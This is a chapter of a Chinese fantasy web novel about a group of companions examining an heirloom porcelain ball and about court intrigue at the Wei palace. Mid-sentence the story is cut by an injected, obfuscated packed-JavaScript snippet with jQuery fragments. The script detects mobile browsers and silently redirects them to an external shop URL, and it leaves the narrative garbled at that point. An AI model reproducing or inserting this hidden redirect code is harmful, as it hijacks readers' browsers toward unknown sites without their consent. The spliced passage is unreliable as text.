星河流转,风乐湖上。
初矞裹着一整条棉被,跺着脚烤炭火。从背后看过去就像是一座小尖山,因为棉被把他的头也裹住,他的头是从缝里钻出来的。
宫禧一手提着药壶,一手举着一摞杯子,大摇大摆从蜃楼里走出来。给初矞、沙炽星、白清水挨个儿倒药水。
几个人围着火炉烤火,谈笑风生。星光月夜,几人嘴里叽叽喳喳讨论着什么。
“找到了!”宫小满欢呼的声音从厨房里传来。她举着一本旧典籍从厨房里跑出来,脚步轻快。
庾东风背着手,跟在宫小满后面。
一本蒙尘的典籍被铺在正中央,几人脑袋挤脑袋盯着典籍上的字。白清水看不见却挤在了最前面。
“沙炽星你压着我了。”
“不好意思啊白师兄。”
“什么师兄,你要叫师叔。”
“好的好的小师叔。”
沙炽星赶紧将自己的手臂从白清水的头上拿下来。
庾东风站在远处,静静观察着。她弯着嘴角,眼眸中倒映着明亮的火光。
宫禧回过头,手里举着药壶。他看着庾东风呆愣着站在远处,忍不住笑道:“还玩、还观察人类,快来搭把手。累死我了。”
庾东风无奈笑笑,接过宫禧手里的杯子。
宫禧一愣,“还是要我给你倒,烦不烦啊你。”
嘴上这么说,宫禧依旧乖乖给她满上。顺便帮她拍了拍袖子上的灰,跟在庾东风后面走进人群。
炭火均匀地烘烤着每一个人的脸庞。宫小满眉头微蹙,举着手里的瓷球,与书上的画对照。
“简直两模两样。”宫小满说道,“若不是还有文字描述,谁知道这个瓷球是’羿’啊?!”
“后羿还是大羿?”庾东风把脸凑到宫小满手边,转头看向古籍,“大羿啊。给一个球取名叫大羿。怎么你们宫家要射日啊?”
庾东风话还没说完就被宫小满捂住嘴巴。宫小满眨眼暗示,“小声点,魏国崇尚金乌神鸟。”
庾东风笑得肩膀直颤,“都敢给一个球取名大羿了,还怕我嘴快啊。”
宫小满拧了一下庾东风的胳膊,试图控制庾东风的笑声,“喂,狐狸眼。可以了,笑够没有?宫家祖上是反贼,谁人不知谁人不晓?反的就是那如日中天的魏氏,若不是魏氏被以祁氏为首的四大门阀压制,现在还不知道有没有人间呢。一个瓷球叫大羿怎么了?那也是我宫家为民除害的证明。”
宫小满一边说一边挑着眉头,随后将瓷球高高举起,与天上的明月重合。
她颇为自豪地说道:“四大门阀,起源就是四个有理想、有手段、有能力、有良心的青年,各司其职,各安其位,将魏国的暴政扼杀在波澜未起之时。”
月亮的清辉穿透瓷球,在宫小满脸上留下一片弱弱的白光。庾东风仔细看向那瓷球,按理说瓷器的质地是均匀的,受光也当是均匀的。但,这个瓷球中央的光亮明显要弱一些。
庾东风从宫小满手里拿过瓷球,“这里面是空的,而且还有东西。”
“怎么可能?这可是瓷球。”宫小满反驳道,“球体不开口,如何设置内腔?”
“我的好姐姐,我们打开不就知道了吗?”庾东风好言好语劝道。
怕宫小满不乐意,庾东风将瓷球抛给了宫禧,自己握住宫小满的手,笑意粲然地看着宫小满。
宫禧接过瓷球,将自己的戒指摘下来。那枚戒指的戒托上镶嵌着一颗鸽子蛋大小的昆吾石,清澈夺目,在夜晚还能看见熠熠生辉的火彩。
宫禧将昆吾石尖锐的那一面在瓷球上画个圈,但是也只是留下一道划痕。宫禧皱皱眉头,“砸开怎么样?”
宫禧正要将瓷球举起来往地上砸,宫小满急忙从庾东风怀里挣脱出来,“不行不行,不能砸。”
宫小满扶过瓷球,心有余悸,“我想起来了。宫家有一种烧瓷工艺。通过多次试验、将瓷器层层嵌套,把要藏的线索放在瓷器内。通过控制时辰与火候,能做到鸣瓷脆朗,而内不损。并且还会在瓷球的内壁刻上纹路,作为辅助线索。所以不能砸。”
“找大姐。”宫小满平静下来,“阿姊在翎城。她继承的家学就是制瓷。她肯定知道的比我多。我们找她,她一定有办法完好无损地打开这个球。”
宫禧环着手,撅了撅嘴看向那瓷球,“那我们不看了。”
抬眼就看见庾东风兴致勃勃地听着宫小满的介绍。庾东风的眼睛都要钻到那瓷球里了。
初矞拍了拍宫禧的肩膀,无奈说道:“忍忍吧阿兄,东风大人最经不起秘密的诱惑。”
“好奇心迟早会害死她。”宫禧轻描淡写地回复着。
两人耷拉着肩膀,一起唉声长叹。
六人围成一个圈,脑袋挨着脑袋渐渐睡去。旁边的炭火在黑暗中渐渐熄灭,只留星河还在闪闪发光。
日月流转,在宫小满的调理下,大家的身体逐渐恢复。
蜃楼在风乐湖上随风飘浮着,满夜的星河倒映在湖中,被风乐湖装了一箩筐。蜃楼的船头在湖面上像剪刀裁剪布料那般,将风乐湖的水波剪开。
无问春夏,蜃楼始终飘在湖面上。庾东风虽说对那瓷球感兴趣,但来魏国的目的到底不是为了那瓷球而来。她的兴趣来的快,去得也快。没有几日,就将那名叫“羿”的瓷球抛之脑后。
无漾山庄内,夏季的暑气已尽消解。庾东风扑了张毯子躺在柳树下休憩。阳光融在柳树上,翠绿的柳叶在草地上透出淡淡的树影。影子像羽毛一样,随着风在庾东风脸上晃来晃去,像是在给她挠痒痒。
宫禧坐在远处悄悄支起桌案,毛笔舔上桃红色的颜料。按照绘画习惯,他本要在小簋上磕几下,将多余的颜料抖掉一些。看庾东风睡得正香,宫禧就手里举着毛笔不动,让多余的颜料自己顺着毛流滴落。
这是宫禧少有的安静时刻。平日里窜来窜去,只有在画画时,他才会短暂的意识到自己已经成家,不能在像先前那般毫无规矩。
风徐徐吹着,宣纸有时候在空中颤动几下。还好有镇纸按着,不然就飞了。
宫禧正要落笔,沙炽星捧着一筐浆果,袖中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707035|202383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
带风,跑到庾东风身边。
沙炽星小声问道:“娘子,北边送来的。尝一颗吗?”
庾东风抖了抖眉毛,半阖着眼睛坐起来。她瞥了一眼那堆果子。红彤彤一堆,颗颗饱满。篮子地下还贴心地垫上了干净清爽的叶子,绿油油一片,一看就知道送果子的人很贴心地保存着。
“不吃。就算是北方来的,就算她运了三个月。也得给我拿最新鲜的。不许拿这种东西糊弄我。从哪里来,退回哪里去。”
沙炽星应声,缓缓离去。宫禧看着那篮浆果,心中了然。
秋天来了,冬天就不远了。
日头逐渐西斜,将魏国皇宫的瓦照的金黄。错落有致的楼阁在宫道中,留下自己的影子。
魏翎翊为首的祁家又开始整装待发,前往北境琥州。虽有盟约在手,永日布不会发动战争。但按照制度传统,魏国每年的“防秋”都是不可免除的。
祁家与永日布打了数十年,春伐是祁家,防秋自然也落不到别人身上。
黄昏,魏国风华殿内。
魏槐安坐在龙椅上,目光落在魏翎翊身上。
落日余晖洒在风华殿的地毯上,魏翎翊的影子直直延伸到魏槐安脚下。作为魏国武官之首,魏翎翊毫不避讳魏槐安的目光,她昂首挺胸毫不避让,眼眸中毫无波澜。
魏槐安思忖良久,开口说道:“既如此,就依爱卿所言。择吉日行军吧。”
魏翎翊、祁玄飏。魏国雍华公主,岫原祁氏家主。一个人,两套身份。魏槐安真不知道该拿这个女儿怎么办。他又看向魏脩。
魏脩手里拿着笏板,微微躬身,一副谨听圣命的模样。魏脩身后站着一连串出身阮家的文官。
阮愆就站在魏脩身后,手里举着笏板,眼睛却落在魏槐安身上。
魏槐安目光扫视大殿内的官员。文武官员尽从祁、阮、周三姓中出来,这让魏槐安深感不安。但在百官面前又不好发作,只得堪堪咽下。
朝会结束,朝堂上的官员尽数散去。魏槐安在楼上往下望。宫道中密密麻麻的人影,黑压压一片。
魏翎翊肩上的金乌着实是刺眼得很,在夕阳下依旧闪着白光。她身后跟着祁家嫡系、周渚梅一脉,走到哪里都有人追随。
周家看似风雨飘摇,可三独坐,其二都是出自白垣周家。就算是分裂,依旧是瘦死的骆驼比马大。魏槐安紧紧捏着手里的茶杯,眼神死死盯着魏翎翊远去的背影。
在位时,祁拽光压着他。好不容易祁拽光死了,她的女儿压着他。整个祁家都在和他作对。
“砰!”一声,一枚琉璃杯在地上碎成渣滓。魏槐安踩过那些玻璃甩着袖子走向内殿。
大叫一声,“喊太子监国,朕身体抱恙。准备准备,明日朕就去别院静养。”
身边的内侍乖乖点头,小心翼翼问道:“陛下,此番可要孔校尉随行?”
魏槐安脚步顿住,慢悠悠回过头。他眯着眼睛说:“阮愆的人?”
“滚!都给我滚!这天底下难道就没有清清白白的人,可以供朕驱使了吗?!”